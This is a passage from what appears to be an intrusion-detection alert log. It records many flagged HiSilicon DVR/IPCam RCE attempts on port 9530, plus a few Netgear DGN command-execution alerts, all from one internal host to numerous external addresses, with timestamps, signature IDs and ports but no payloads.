Source Port:	34754
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.49.16.19

Timestamp:	05/16/24-16:38:57.436361
SID:	2030487
Source Port:	34782
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.49.16.19

Timestamp:	05/16/24-16:38:57.436361
SID:	2030488
Source Port:	34782
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 32.23.131.104

Timestamp:	05/16/24-16:39:12.401718
SID:	2030487
Source Port:	36892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 32.23.131.104

Timestamp:	05/16/24-16:39:12.401718
SID:	2030488
Source Port:	36892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 162.251.71.35

Timestamp:	05/16/24-16:38:55.226778
SID:	2030487
Source Port:	43650
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 162.251.71.35

Timestamp:	05/16/24-16:38:55.226778
SID:	2030488
Source Port:	43650
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 66.28.74.178

Timestamp:	05/16/24-16:39:03.288275
SID:	2030488
Source Port:	46028
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 66.28.74.178

Timestamp:	05/16/24-16:39:03.288275
SID:	2030487
Source Port:	46028
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 31.70.79.176

Timestamp:	05/16/24-16:38:55.193092
SID:	2030487
Source Port:	34088
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 31.70.79.176

Timestamp:	05/16/24-16:38:55.193092
SID:	2030488
Source Port:	34088
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.46.95.60

Timestamp:	05/16/24-16:38:50.004146
SID:	2030488
Source Port:	58884
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 106.193.166.56

Timestamp:	05/16/24-16:38:55.199108
SID:	2030487
Source Port:	47788
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 186.46.95.60

Timestamp:	05/16/24-16:38:50.004146
SID:	2030487
Source Port:	58884
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 106.185.245.17

Timestamp:	05/16/24-16:38:59.583179
SID:	2030487
Source Port:	50156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 106.185.245.17

Timestamp:	05/16/24-16:38:59.583179
SID:	2030488
Source Port:	50156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 20.143.98.194

Timestamp:	05/16/24-16:38:57.408662
SID:	2030487
Source Port:	59740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.53.211.116

Timestamp:	05/16/24-16:39:05.677856
SID:	2030488
Source Port:	33722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.53.211.116

Timestamp:	05/16/24-16:39:05.677856
SID:	2030487
Source Port:	33722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 68.158.77.90

Timestamp:	05/16/24-16:39:12.403746
SID:	2030487
Source Port:	40510
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 68.158.77.90

Timestamp:	05/16/24-16:39:12.403746
SID:	2030488
Source Port:	40510
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 159.33.63.129

Timestamp:	05/16/24-16:39:02.768654
SID:	2030488
Source Port:	36010
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 159.33.63.129

Timestamp:	05/16/24-16:39:02.768654
SID:	2030487
Source Port:	36010
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 131.24.233.15

Timestamp:	05/16/24-16:39:14.492288
SID:	2030487
Source Port:	43418
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 131.24.233.15

Timestamp:	05/16/24-16:39:14.492288
SID:	2030488
Source Port:	43418
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.49.7.111

Timestamp:	05/16/24-16:39:08.044853
SID:	2030487
Source Port:	53706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.49.7.111

Timestamp:	05/16/24-16:39:08.044853
SID:	2030488
Source Port:	53706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.161.60.178

Timestamp:	05/16/24-16:39:14.491259
SID:	2030488
Source Port:	60066
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 183.29.207.152

Timestamp:	05/16/24-16:38:50.068491
SID:	2030488
Source Port:	57488
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 183.29.207.152

Timestamp:	05/16/24-16:38:50.068491
SID:	2030487
Source Port:	57488
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.121.254.131

Timestamp:	05/16/24-16:39:14.514711
SID:	2030488
Source Port:	60654
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.121.254.131

Timestamp:	05/16/24-16:39:14.514711
SID:	2030487
Source Port:	60654
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 193.174.143.220

Timestamp:	05/16/24-16:38:55.212323
SID:	2030488
Source Port:	46094
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 193.174.143.220

Timestamp:	05/16/24-16:38:55.212323
SID:	2030487
Source Port:	46094
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.161.60.178

Timestamp:	05/16/24-16:39:14.491259
SID:	2030487
Source Port:	60066
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 18.57.209.255

Timestamp:	05/16/24-16:38:59.587366
SID:	2030487
Source Port:	42724
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 66.135.173.207

Timestamp:	05/16/24-16:39:14.492149
SID:	2030487
Source Port:	37278
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.57.209.255

Timestamp:	05/16/24-16:38:59.587366
SID:	2030488
Source Port:	42724
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 144.67.3.232

Timestamp:	05/16/24-16:38:55.207731
SID:	2030487
Source Port:	41876
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 66.135.173.207

Timestamp:	05/16/24-16:39:14.492149
SID:	2030488
Source Port:	37278
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 144.67.3.232

Timestamp:	05/16/24-16:38:55.207731
SID:	2030488
Source Port:	41876
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 174.215.71.75

Timestamp:	05/16/24-16:39:13.665738
SID:	2029215
Source Port:	49922
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 141.97.110.101

Timestamp:	05/16/24-16:39:02.725512
SID:	2030487
Source Port:	35574
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 105.181.194.90

Timestamp:	05/16/24-16:39:12.400963
SID:	2030487
Source Port:	43514
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 105.181.194.90

Timestamp:	05/16/24-16:39:12.400963
SID:	2030488
Source Port:	43514
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.249.80.65

Timestamp:	05/16/24-16:38:57.303929
SID:	2030488
Source Port:	58232
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.86.145.38

Timestamp:	05/16/24-16:38:53.011389
SID:	2030488
Source Port:	54464
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.249.80.65

Timestamp:	05/16/24-16:38:57.303929
SID:	2030487
Source Port:	58232
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.246.133.106

Timestamp:	05/16/24-16:39:05.694698
SID:	2030487
Source Port:	53162
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.86.145.38

Timestamp:	05/16/24-16:38:53.011389
SID:	2030487
Source Port:	54464
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.246.133.106

Timestamp:	05/16/24-16:39:05.694698
SID:	2030488
Source Port:	53162
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 174.248.248.92

Timestamp:	05/16/24-16:38:55.175134
SID:	2030487
Source Port:	52114
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 174.248.248.92

Timestamp:	05/16/24-16:38:55.175134
SID:	2030488
Source Port:	52114
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 141.97.110.101

Timestamp:	05/16/24-16:39:02.725512
SID:	2030488
Source Port:	35574
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 121.143.174.48

Timestamp:	05/16/24-16:39:14.518582
SID:	2030488
Source Port:	46994
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 121.143.174.48

Timestamp:	05/16/24-16:39:14.518582
SID:	2030487
Source Port:	46994
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.180.209.59

Timestamp:	05/16/24-16:38:53.011220
SID:	2030488
Source Port:	44184
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.180.209.59

Timestamp:	05/16/24-16:38:53.011220
SID:	2030487
Source Port:	44184
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 121.20.239.75

Timestamp:	05/16/24-16:38:55.176120
SID:	2030487
Source Port:	55448
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 121.20.239.75

Timestamp:	05/16/24-16:38:55.176120
SID:	2030488
Source Port:	55448
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 129.192.225.190

Timestamp:	05/16/24-16:39:16.609436
SID:	2030487
Source Port:	43554
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 129.192.225.190

Timestamp:	05/16/24-16:39:16.609436
SID:	2030488
Source Port:	43554
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.98.44.124

Timestamp:	05/16/24-16:39:02.745308
SID:	2030488
Source Port:	46588
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.98.44.124

Timestamp:	05/16/24-16:39:02.745308
SID:	2030487
Source Port:	46588
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.248.1.95

Timestamp:	05/16/24-16:39:14.494626
SID:	2030487
Source Port:	41996
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.248.1.95

Timestamp:	05/16/24-16:39:14.494626
SID:	2030488
Source Port:	41996
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 57.204.55.30

Timestamp:	05/16/24-16:39:05.679575
SID:	2030488
Source Port:	54990
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 112.53.85.102

Timestamp:	05/16/24-16:39:08.125427
SID:	2030487
Source Port:	50764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 57.204.55.30

Timestamp:	05/16/24-16:39:05.679575
SID:	2030487
Source Port:	54990
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 206.166.84.42

Timestamp:	05/16/24-16:39:12.298192
SID:	2030487
Source Port:	39138
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.166.84.42

Timestamp:	05/16/24-16:39:12.298192
SID:	2030488
Source Port:	39138
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.185.49.35

Timestamp:	05/16/24-16:39:05.675900
SID:	2030488
Source Port:	55916
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.185.49.35

Timestamp:	05/16/24-16:39:05.675900
SID:	2030487
Source Port:	55916
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 51.131.228.75

Timestamp:	05/16/24-16:38:50.047568
SID:	2030488
Source Port:	44226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 51.131.228.75

Timestamp:	05/16/24-16:38:50.047568
SID:	2030487
Source Port:	44226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 182.73.255.114

Timestamp:	05/16/24-16:39:08.127312
SID:	2030488
Source Port:	46354
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 182.73.255.114

Timestamp:	05/16/24-16:39:08.127312
SID:	2030487
Source Port:	46354
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 25.42.82.178

Timestamp:	05/16/24-16:39:08.146088
SID:	2030488
Source Port:	37610
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 25.42.82.178

Timestamp:	05/16/24-16:39:08.146088
SID:	2030487
Source Port:	37610
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.44.213.127

Timestamp:	05/16/24-16:39:12.384414
SID:	2030488
Source Port:	48260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 99.43.34.250

Timestamp:	05/16/24-16:39:08.148295
SID:	2030488
Source Port:	37854
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.44.213.127

Timestamp:	05/16/24-16:39:12.384414
SID:	2030487
Source Port:	48260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.242.25.225

Timestamp:	05/16/24-16:39:16.597913
SID:	2030488
Source Port:	39088
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 99.43.34.250

Timestamp:	05/16/24-16:39:08.148295
SID:	2030487
Source Port:	37854
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 165.218.240.16

Timestamp:	05/16/24-16:39:05.678444
SID:	2030488
Source Port:	51182
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 165.218.240.16

Timestamp:	05/16/24-16:39:05.678444
SID:	2030487
Source Port:	51182
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.242.25.225

Timestamp:	05/16/24-16:39:16.597913
SID:	2030487
Source Port:	39088
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.64.175.134

Timestamp:	05/16/24-16:38:53.065654
SID:	2030487
Source Port:	53320
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.149.202.140

Timestamp:	05/16/24-16:38:59.519332
SID:	2030488
Source Port:	55260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.64.175.134

Timestamp:	05/16/24-16:38:53.065654
SID:	2030488
Source Port:	53320
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 219.251.106.120

Timestamp:	05/16/24-16:38:59.557054
SID:	2030488
Source Port:	41356
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.53.85.102

Timestamp:	05/16/24-16:39:08.125427
SID:	2030488
Source Port:	50764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.149.202.140

Timestamp:	05/16/24-16:38:59.519332
SID:	2030487
Source Port:	55260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 219.251.106.120

Timestamp:	05/16/24-16:38:59.557054
SID:	2030487
Source Port:	41356
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.74.59.120

Timestamp:	05/16/24-16:39:12.400619
SID:	2030487
Source Port:	48410
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.74.59.120

Timestamp:	05/16/24-16:39:12.400619
SID:	2030488
Source Port:	48410
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.236.2.172

Timestamp:	05/16/24-16:39:12.383627
SID:	2030488
Source Port:	36272
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 64.205.122.221

Timestamp:	05/16/24-16:38:49.278138
SID:	2024916
Source Port:	51984
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 57.167.15.28

Timestamp:	05/16/24-16:38:50.063972
SID:	2030487
Source Port:	42828
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 181.236.2.172

